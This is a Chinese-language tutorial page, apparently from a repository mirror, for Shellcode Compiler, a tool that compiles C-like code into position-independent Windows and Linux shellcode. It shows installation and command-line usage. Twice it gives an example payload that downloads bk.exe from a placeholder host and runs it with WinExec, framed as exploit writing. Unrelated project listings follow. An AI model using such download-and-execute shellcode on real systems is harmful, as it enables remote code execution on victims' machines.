Shellcode Compiler 使用教程
项目介绍
Shellcode Compiler 是一个创新的开源程序,它可以将 C/C++ 风格的代码编译成适用于 Windows(x86 和 x64)及 Linux(x86 和 x64)系统的精简、位置无关、NULL 字符免的 Shellcode。这个工具允许用户以友好的方式调用任何 Windows API 函数或 Linux 系统调用。Shellcode Compiler 接收源代码文件作为输入,并利用其内置的编译器解释代码,然后使用 Keystone 引擎生成汇编代码,最终汇编成二进制 Shellcode。用户可以通过简单的命令行选项定制输出,包括测试生成的 Shellcode、指定平台、控制详细输出等。
项目快速启动
安装
首先,克隆项目仓库到本地:
git clone https://github.com/NytroRST/ShellcodeCompiler.git
进入项目目录:
cd ShellcodeCompiler
编译示例
假设你有一个名为 example.c 的源代码文件,内容如下:
// example.c
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0, "https://site.com/bk.exe", "bk.exe", 0, 0);
WinExec("bk.exe", 0);
ExitProcess(0);
使用 Shellcode Compiler 编译该文件:
ShellcodeCompiler.exe -r example.c -o shellcode.bin -a assembly.asm -p win_x64
这将生成 shellcode.bin 和 assembly.asm 文件。
应用案例和最佳实践
安全研究
Shellcode Compiler 可以用于编写安全漏洞的 exploit。例如,你可以编写一个简单的 Shellcode 来下载并执行一个远程文件:
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0, "https://site.com/bk.exe", "bk.exe", 0, 0);
WinExec("bk.exe", 0);
ExitProcess(0);
低级别编程
在资源受限环境中执行代码时,Shellcode Compiler 可以帮助你生成高效的 Shellcode。例如,编写一个简单的 Linux Shellcode:
chmod("/root/chmodme", 511);
write(1, "Hello world", 12);
kill(1661, 9);
getpid();
execve("/usr/bin/security_tool", 0, 0);
exit(2);
典型生态项目
Keystone 引擎
Shellcode Compiler 使用了 Keystone 引擎,这是一个强大的动态二进制转换库,能够跨多个架构进行汇编语言的解析和编码。Keystone 引擎为 Shellcode Compiler 提供了强大的底层支持。
C/C++ 编译器
Shellcode Compiler 的内置编译器支持 C/C++ 风格的代码,这使得用户可以方便地编写和调试 Shellcode。C/C++ 编译器的集成使得 Shellcode Compiler 更加灵活和强大。
通过以上内容,您可以快速了解和使用 Shellcode Compiler 项目,并探索其在安全研究和低级别编程中的应用。
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0190
cann-learning-hubCANN 学习中心仓,支持在线互动运行、边学边练,提供教程、示例与优化方案,一站式助力昇腾开发者快速上手。Jupyter Notebook0113
Step-3.7-FlashStep-3.7-Flash是一个拥有 1980 亿参数的稀疏混合专家(MoE)视觉语言模型,由 1960 亿参数的语言主干网络和 18 亿参数的视觉编码器组合而成,具备原生图像理解能力。Python00
JoyAI-EchoJoyAI-Echo,这是一个独立的、仅用于推理的版本,旨在实现分钟级多镜头音视频生成。它采用了经过蒸馏的DMD生成器、配对的跨模态记忆以及故事级别的一致性。其性能的核心在于,一个跨模态视听记忆库能够在长达五分钟的视频中保持角色外观和语音音色的一致性。同时,一个训练后处理流程将基于记忆的强化学习与分布匹配蒸馏相结合,实现了7.5倍的速度提升,显著增强了视觉质量和对齐效果。00
omega-aiOmega-AI:基于java打造的深度学习框架,帮助你快速搭建神经网络,实现模型推理与训练,引擎支持自动求导,多线程与GPU运算,GPU支持CUDA,CUDNN。Java04
llm-universe本项目是一个面向小白开发者的大模型应用开发教程,在线阅读地址:https://datawhalechina.github.io/llm-universe/Jupyter Notebook08